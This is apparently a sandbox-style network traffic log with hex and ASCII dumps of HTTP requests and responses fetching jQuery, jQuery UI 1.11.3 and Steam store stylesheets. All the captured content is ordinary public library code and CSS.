3b 69 66 28 72 29 72 65 74 75 72 6e 20 72 3b 69 66 28 6e 29 77 68 69 6c 65 28 6e 3d 6e 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 6e Data Ascii: e&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("\|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n
2024-09-17 17:21:14 UTC	1369	IN	Data Raw: 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 61 74 74 72 69 62 75 74 65 73 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 69 22 2c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 4e 61 6d 65 22 29 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 43 2e 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 28 22 22 29 29 2c 21 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 2e 6c 65 6e 67 74 68 7d 29 2c 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3d 4b 2e 74 65 73 74 28 43 2e 67 65 74 45 6c 65 6d 65 6e 74 73 Data Ascii: oad",oe)),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElements
2024-09-17 17:21:14 UTC	1369	IN	Data Raw: 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 45 29 72 65 74 75 72 6e 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 65 29 7d 2c 73 3d 5b 5d 2c 76 3d 5b 5d 2c 28 64 2e 71 73 61 3d 4b 2e 74 65 73 74 28 43 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 29 29 26 26 28 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 69 64 3d 27 22 2b 6b 2b 22 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 69 64 3d 27 22 2b 6b 2b 22 2d 5c 72 5c 5c 27 20 6d 73 61 6c 6c 6f 77 63 61 70 74 75 72 65 3d 27 27 3e 3c 6f 70 74 69 6f 6e 20 73 65 6c Data Ascii: n(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><option sel
2024-09-17 17:21:14 UTC	1369	IN	Data Raw: 76 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 73 3d 73 2e 6c 65 6e 67 74 68 26 26 6e 65 77 20 52 65 67 45 78 70 28 73 2e 6a 6f 69 6e 28 22 7c 22 29 29 2c 74 3d 4b 2e 74 65 73 74 28 61 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 29 2c 79 3d 74 7c 7c 4b 2e 74 65 73 74 28 61 2e 63 6f 6e 74 61 69 6e 73 29 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 3f 65 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3a 65 2c 72 3d 74 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 7c 7c 21 28 21 72 7c 7c 31 21 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 28 6e 2e 63 6f 6e 74 61 69 6e 73 3f 6e 2e 63 6f 6e 74 61 69 6e 73 28 72 29 3a 65 2e 63 6f 6d 70 61 72 65 44 Data Ascii: v.join("\|")),s=s.length&&new RegExp(s.join("\|")),t=K.test(a.compareDocumentPosition),y=t\|\|K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r\|\|!(!r\|\|1!==r.nodeType\|\|!(n.contains?n.contains(r):e.compareD

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:21:14 UTC	501	OUT	GET /ui/1.11.3/jquery-ui.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-17 17:21:14 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 469790 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-72b1e" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 991188 Date: Tue, 17 Sep 2024 17:21:14 GMT X-Served-By: cache-lga21958-LGA, cache-ewr-kewr1740035-EWR X-Cache: HIT, HIT X-Cache-Hits: 6463, 0 X-Timer: S1726593675.686022,VS0,VE1 Vary: Accept-Encoding
2024-09-17 17:21:14 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 31 2e 33 20 2d 20 32 30 31 35 2d 30 32 2d 31 32 0a 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 2a 20 49 6e 63 6c 75 64 65 73 3a 20 63 6f 72 65 2e 6a 73 2c 20 77 69 64 67 65 74 2e 6a 73 2c 20 6d 6f 75 73 65 2e 6a 73 2c 20 70 6f 73 69 74 69 6f 6e 2e 6a 73 2c 20 61 63 63 6f 72 64 69 6f 6e 2e 6a 73 2c 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2e 6a 73 2c 20 62 75 74 74 6f 6e 2e 6a 73 2c 20 64 61 74 65 70 69 63 6b 65 72 2e 6a 73 2c 20 64 69 61 6c 6f 67 2e 6a 73 2c 20 64 72 61 67 67 61 62 6c 65 2e 6a 73 2c 20 64 72 6f 70 70 61 62 6c 65 2e 6a 73 2c 20 65 66 66 65 63 74 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6c 69 6e 64 2e 6a 73 2c 20 65 66 66 65 63 74 2d 62 6f 75 6e 63 65 2e 6a 73 2c Data Ascii: /! jQuery UI - v1.11.3 - 2015-02-12 http://jqueryui.com* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js,
2024-09-17 17:21:14 UTC	1378	IN	Data Raw: 37 2c 0a 09 09 48 4f 4d 45 3a 20 33 36 2c 0a 09 09 4c 45 46 54 3a 20 33 37 2c 0a 09 09 50 41 47 45 5f 44 4f 57 4e 3a 20 33 34 2c 0a 09 09 50 41 47 45 5f 55 50 3a 20 33 33 2c 0a 09 09 50 45 52 49 4f 44 3a 20 31 39 30 2c 0a 09 09 52 49 47 48 54 3a 20 33 39 2c 0a 09 09 53 50 41 43 45 3a 20 33 32 2c 0a 09 09 54 41 42 3a 20 39 2c 0a 09 09 55 50 3a 20 33 38 0a 09 7d 0a 7d 29 3b 0a 0a 2f 2f 20 70 6c 75 67 69 6e 73 0a 24 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 0a 09 73 63 72 6f 6c 6c 50 61 72 65 6e 74 3a 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 63 6c 75 64 65 48 69 64 64 65 6e 20 29 20 7b 0a 09 09 76 61 72 20 70 6f 73 69 74 69 6f 6e 20 3d 20 74 68 69 73 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 2c 0a 09 09 09 65 78 63 6c 75 64 65 53 74 61 74 69 63 50 61 72 Data Ascii: 7,HOME: 36,LEFT: 37,PAGE_DOWN: 34,PAGE_UP: 33,PERIOD: 190,RIGHT: 39,SPACE: 32,TAB: 9,UP: 38}});// plugins$.fn.extend({scrollParent: function( includeHidden ) {var position = this.css( "position" ),excludeStaticPar
2024-09-17 17:21:14 UTC	1378	IN	Data Raw: 65 20 7c 7c 20 6d 61 70 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 21 3d 3d 20 22 6d 61 70 22 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 7d 0a 09 09 69 6d 67 20 3d 20 24 28 20 22 69 6d 67 5b 75 73 65 6d 61 70 3d 27 23 22 20 2b 20 6d 61 70 4e 61 6d 65 20 2b 20 22 27 5d 22 20 29 5b 20 30 20 5d 3b 0a 09 09 72 65 74 75 72 6e 20 21 21 69 6d 67 20 26 26 20 76 69 73 69 62 6c 65 28 20 69 6d 67 20 29 3b 0a 09 7d 0a 09 72 65 74 75 72 6e 20 28 20 2f 5e 28 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 7c 6f 62 6a 65 63 74 29 24 2f 2e 74 65 73 74 28 20 6e 6f 64 65 4e 61 6d 65 20 29 20 3f 0a 09 09 21 65 6c 65 6d 65 6e 74 2e 64 69 73 61 62 6c 65 64 20 3a 0a 09 09 22 61 22 20 Data Ascii: e \|\| map.nodeName.toLowerCase() !== "map" ) {return false;}img = $( "img[usemap='#" + mapName + "']" )[ 0 ];return !!img && visible( img );}return ( /^(input\|select\|textarea\|button\|object)$/.test( nodeName ) ?!element.disabled :"a"
2024-09-17 17:21:14 UTC	1378	IN	Data Raw: 22 4c 65 66 74 22 2c 20 22 52 69 67 68 74 22 20 5d 20 3a 20 5b 20 22 54 6f 70 22 2c 20 22 42 6f 74 74 6f 6d 22 20 5d 2c 0a 09 09 09 74 79 70 65 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 0a 09 09 09 6f 72 69 67 20 3d 20 7b 0a 09 09 09 09 69 6e 6e 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 57 69 64 74 68 2c 0a 09 09 09 09 69 6e 6e 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 69 6e 6e 65 72 48 65 69 67 68 74 2c 0a 09 09 09 09 6f 75 74 65 72 57 69 64 74 68 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 57 69 64 74 68 2c 0a 09 09 09 09 6f 75 74 65 72 48 65 69 67 68 74 3a 20 24 2e 66 6e 2e 6f 75 74 65 72 48 65 69 67 68 74 0a 09 09 09 7d 3b 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 72 65 64 75 63 65 28 20 65 6c 65 6d 2c 20 73 69 7a 65 2c Data Ascii: "Left", "Right" ] : [ "Top", "Bottom" ],type = name.toLowerCase(),orig = {innerWidth: $.fn.innerWidth,innerHeight: $.fn.innerHeight,outerWidth: $.fn.outerWidth,outerHeight: $.fn.outerHeight};function reduce( elem, size,
2024-09-17 17:21:14 UTC	1378	IN	Data Raw: 62 22 2c 20 22 61 22 20 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 20 22 61 2d 62 22 20 29 2e 64 61 74 61 28 20 22 61 2d 62 22 20 29 20 29 20 7b 0a 09 24 2e 66 6e 2e 72 65 6d 6f 76 65 44 61 74 61 20 3d 20 28 66 75 6e 63 74 69 6f 6e 28 20 72 65 6d 6f 76 65 44 61 74 61 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 20 6b 65 79 20 29 20 7b 0a 09 09 09 69 66 20 28 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 2c 20 24 2e 63 61 6d 65 6c 43 61 73 65 28 20 6b 65 79 20 29 20 29 3b 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 72 65 6d 6f 76 65 44 61 74 61 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 Data Ascii: b", "a" ).removeData( "a-b" ).data( "a-b" ) ) {$.fn.removeData = (function( removeData ) {return function( key ) {if ( arguments.length ) {return removeData.call( this, $.camelCase( key ) );} else {return removeData.call( this );
2024-09-17 17:21:14 UTC	1378	IN	Data Raw: 20 77 68 65 72 65 20 7a 2d 69 6e 64 65 78 20 69 73 20 69 67 6e 6f 72 65 64 20 62 79 20 74 68 65 20 62 72 6f 77 73 65 72 0a 09 09 09 09 2f 2f 20 54 68 69 73 20 6d 61 6b 65 73 20 62 65 68 61 76 69 6f 72 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 73 69 73 74 65 6e 74 20 61 63 72 6f 73 73 20 62 72 6f 77 73 65 72 73 0a 09 09 09 09 2f 2f 20 57 65 62 4b 69 74 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 61 75 74 6f 20 69 66 20 74 68 65 20 65 6c 65 6d 65 6e 74 20 69 73 20 70 6f 73 69 74 69 6f 6e 65 64 0a 09 09 09 09 70 6f 73 69 74 69 6f 6e 20 3d 20 65 6c 65 6d 2e 63 73 73 28 20 22 70 6f 73 69 74 69 6f 6e 22 20 29 3b 0a 09 09 09 09 69 66 20 28 20 70 6f 73 69 74 69 6f 6e 20 3d 3d 3d 20 22 61 62 73 6f 6c 75 74 65 22 20 7c 7c 20 70 6f 73 69 74 Data Ascii: where z-index is ignored by the browser// This makes behavior of this function consistent across browsers// WebKit always returns auto if the element is positionedposition = elem.css( "position" );if ( position === "absolute" \|\| posit
2024-09-17 17:21:14 UTC	1378	IN	Data Raw: 20 29 20 7b 0a 09 09 09 09 73 65 74 5b 20 69 20 5d 5b 20 31 20 5d 2e 61 70 70 6c 79 28 20 69 6e 73 74 61 6e 63 65 2e 65 6c 65 6d 65 6e 74 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 7d 3b 0a 0a 0a 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 55 49 20 57 69 64 67 65 74 20 31 2e 31 31 2e 33 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 68 Data Ascii: ) {set[ i ][ 1 ].apply( instance.element, args );}}}};/! jQuery UI Widget 1.11.3 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * h
2024-09-17 17:21:14 UTC	1378	IN	Data Raw: 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 20 7c 7c 20 7b 7d 3b 0a 09 65 78 69 73 74 69 6e 67 43 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 3b 0a 09 63 6f 6e 73 74 72 75 63 74 6f 72 20 3d 20 24 5b 20 6e 61 6d 65 73 70 61 63 65 20 5d 5b 20 6e 61 6d 65 20 5d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 6f 70 74 69 6f 6e 73 2c 20 65 6c 65 6d 65 6e 74 20 29 20 7b 0a 09 09 2f 2f 20 61 6c 6c 6f 77 20 69 6e 73 74 61 6e 74 69 61 74 69 6f 6e 20 77 69 74 68 6f 75 74 20 22 6e 65 77 22 20 6b 65 79 77 6f 72 64 0a 09 09 69 66 20 28 20 21 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 6e 65 77 20 63 6f 6e 73 74 72 Data Ascii: $[ namespace ] = $[ namespace ] \|\| {};existingConstructor = $[ namespace ][ name ];constructor = $[ namespace ][ name ] = function( options, element ) {// allow instantiation without "new" keywordif ( !this._createWidget ) {return new constr
2024-09-17 17:21:14 UTC	1378	IN	Data Raw: 6e 28 29 20 7b 0a 09 09 09 76 61 72 20 5f 73 75 70 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 20 29 3b 0a 09 09 09 09 7d 2c 0a 09 09 09 09 5f 73 75 70 65 72 41 70 70 6c 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 61 72 67 73 20 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 62 61 73 65 2e 70 72 6f 74 6f 74 79 70 65 5b 20 70 72 6f 70 20 5d 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 09 7d 3b 0a 09 09 09 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 76 61 72 20 5f 5f 73 75 70 65 72 20 3d 20 74 68 69 73 2e 5f 73 75 70 65 72 Data Ascii: n() {var _super = function() {return base.prototype[ prop ].apply( this, arguments );},_superApply = function( args ) {return base.prototype[ prop ].apply( this, args );};return function() {var __super = this._super
2024-09-17 17:21:14 UTC	1378	IN	Data Raw: 20 63 68 69 6c 64 2e 70 72 6f 74 6f 74 79 70 65 3b 0a 0a 09 09 09 2f 2f 20 72 65 64 65 66 69 6e 65 20 74 68 65 20 63 68 69 6c 64 20 77 69 64 67 65 74 20 75 73 69 6e 67 20 74 68 65 20 73 61 6d 65 20 70 72 6f 74 6f 74 79 70 65 20 74 68 61 74 20 77 61 73 0a 09 09 09 2f 2f 20 6f 72 69 67 69 6e 61 6c 6c 79 20 75 73 65 64 2c 20 62 75 74 20 69 6e 68 65 72 69 74 20 66 72 6f 6d 20 74 68 65 20 6e 65 77 20 76 65 72 73 69 6f 6e 20 6f 66 20 74 68 65 20 62 61 73 65 0a 09 09 09 24 2e 77 69 64 67 65 74 28 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 6e 61 6d 65 73 70 61 63 65 20 2b 20 22 2e 22 20 2b 20 63 68 69 6c 64 50 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 4e 61 6d 65 2c 20 63 6f 6e 73 74 72 75 63 74 6f 72 2c 20 63 68 69 6c 64 2e 5f 70 72 6f 74 6f 20 29 3b 0a Data Ascii: child.prototype;// redefine the child widget using the same prototype that was// originally used, but inherit from the new version of the base$.widget( childPrototype.namespace + "." + childPrototype.widgetName, constructor, child._proto );

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:21:14 UTC	564	OUT	GET /public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-17 17:21:15 UTC	338	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "Rc2hpzg2Ex3T" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=9730175 Expires: Wed, 08 Jan 2025 08:10:49 GMT Date: Tue, 17 Sep 2024 17:21:14 GMT Content-Length: 2646 Connection: close
2024-09-17 17:21:15 UTC	2646	IN	Data Raw: 2f 2a 0d 0a 20 46 6f 6e 74 3a 20 09 09 4d 6f 74 69 76 61 20 53 61 6e 73 0d 0a 20 55 52 4c 3a 20 09 09 68 74 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 77 6f 72 6b 66 6f 72 74 68 65 6d 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 2e 70 68 70 3f 73 6b 75 3d 54 32 39 38 32 0d 0a 20 46 6f 75 6e 64 72 79 3a 20 09 4e 69 72 61 6d 65 6b 6b 6f 0d 0a 20 46 6f 75 6e 64 72 79 3a 20 09 68 74 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 77 6f 72 6b 66 6f 72 74 68 65 6d 2e 63 6f 6d 2f 64 65 73 69 67 6e 65 72 2f 32 39 33 2f 6e 69 72 61 6d 65 6b 6b 6f 0d 0a 20 43 6f 70 79 72 69 67 68 74 3a 09 43 6f 70 79 72 69 67 68 74 20 20 32 30 31 31 20 62 79 20 52 6f 64 72 69 67 6f 20 53 61 69 61 6e 69 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 20 56 65 72 73 69 6f 6e 3a 20 09 31 Data Ascii: /* Font: Motiva Sans URL: http://www.youworkforthem.com/product.php?sku=T2982 Foundry: Niramekko Foundry: http://www.youworkforthem.com/designer/293/niramekko Copyright:Copyright 2011 by Rodrigo Saiani. All rights reserved. Version: 1

Timestamp	Bytes transferred	Direction	Data
2024-09-17 17:21:14 UTC	566	OUT	GET /public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-17 17:21:15 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/css;charset=UTF-8 ETag: "nyr5lpqNSIdn" Last-Modified: Fri, 17 Apr 1970 07:50:35 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Tue, 17 Sep 2024 17:21:15 GMT Date: Tue, 17 Sep 2024 17:21:15 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-09-17 17:21:15 UTC	15992	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 3a 72 6f 6f 74 20 7b 0d 0a 09 2f 2a 20 53 79 73 74 65 6d 20 67 72 65 79 73 20 2a 2f 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 65 73 74 47 72 65 79 3a 20 23 44 43 44 45 44 46 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 65 72 47 72 65 79 3a 20 23 42 38 42 43 42 46 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 4c 69 67 68 74 47 72 65 79 3a 20 23 38 42 39 32 39 41 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 47 72 65 79 3a 20 23 36 37 37 30 37 42 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 47 72 65 79 3a 20 23 33 44 34 34 35 30 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 65 72 47 72 65 79 3a 20 23 32 33 32 36 32 45 3b 0d 0a 09 2d 2d 67 70 53 79 73 74 65 6d 44 61 72 6b 65 73 74 47 72 65 79 3a Data Ascii: 0000C000:root {/* System greys */--gpSystemLightestGrey: #DCDEDF;--gpSystemLighterGrey: #B8BCBF;--gpSystemLightGrey: #8B929A;--gpSystemGrey: #67707B;--gpSystemDarkGrey: #3D4450;--gpSystemDarkerGrey: #23262E;--gpSystemDarkestGrey:
2024-09-17 17:21:15 UTC	15837	IN	Data Raw: 65 6e 75 5f 70 75 6c 6c 64 6f 77 6e 5f 69 6e 64 69 63 61 74 6f 72 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 20 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 69 6d 61 67 65 73 2f 70 6f 70 75 70 73 2f 62 74 6e 5f 61 72 72 6f 77 5f 64 6f 77 6e 2e 70 6e 67 27 20 29 3b 0d 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0d 0a 09 77 69 64 74 68 3a 20 39 70 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 34 70 78 3b 0d 0a 7d 0d 0a 23 61 64 6d 69 6e 5f 64 72 6f 70 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 Data Ascii: enu_pulldown_indicator {display: inline-block;background-image: url( 'https://store.akamai.steamstatic.com/public/shared/images/popups/btn_arrow_down.png' );vertical-align: middle;width: 9px;height: 4px;}#admin_drop { border-radius
2024-09-17 17:21:15 UTC	16384	IN	Data Raw: 73 5f 36 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 31 39 32 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 37 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 32 34 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 38 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 35 36 70 78 3b 0d 0a 7d 0d 0a 2e 66 72 69 65 6e 64 50 6c 61 79 65 72 4c 65 76 65 6c 2e 6c 76 6c 5f 70 6c 75 73 5f 39 30 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 30 20 2d 32 38 38 70 78 3b 0d 0a 7d 0d 0a 0d Data Ascii: s_60 {background-position: 0 -192px;}.friendPlayerLevel.lvl_plus_70 {background-position: 0 -224px;}.friendPlayerLevel.lvl_plus_80 {background-position: 0 -256px;}.friendPlayerLevel.lvl_plus_90 {background-position: 0 -288px;}
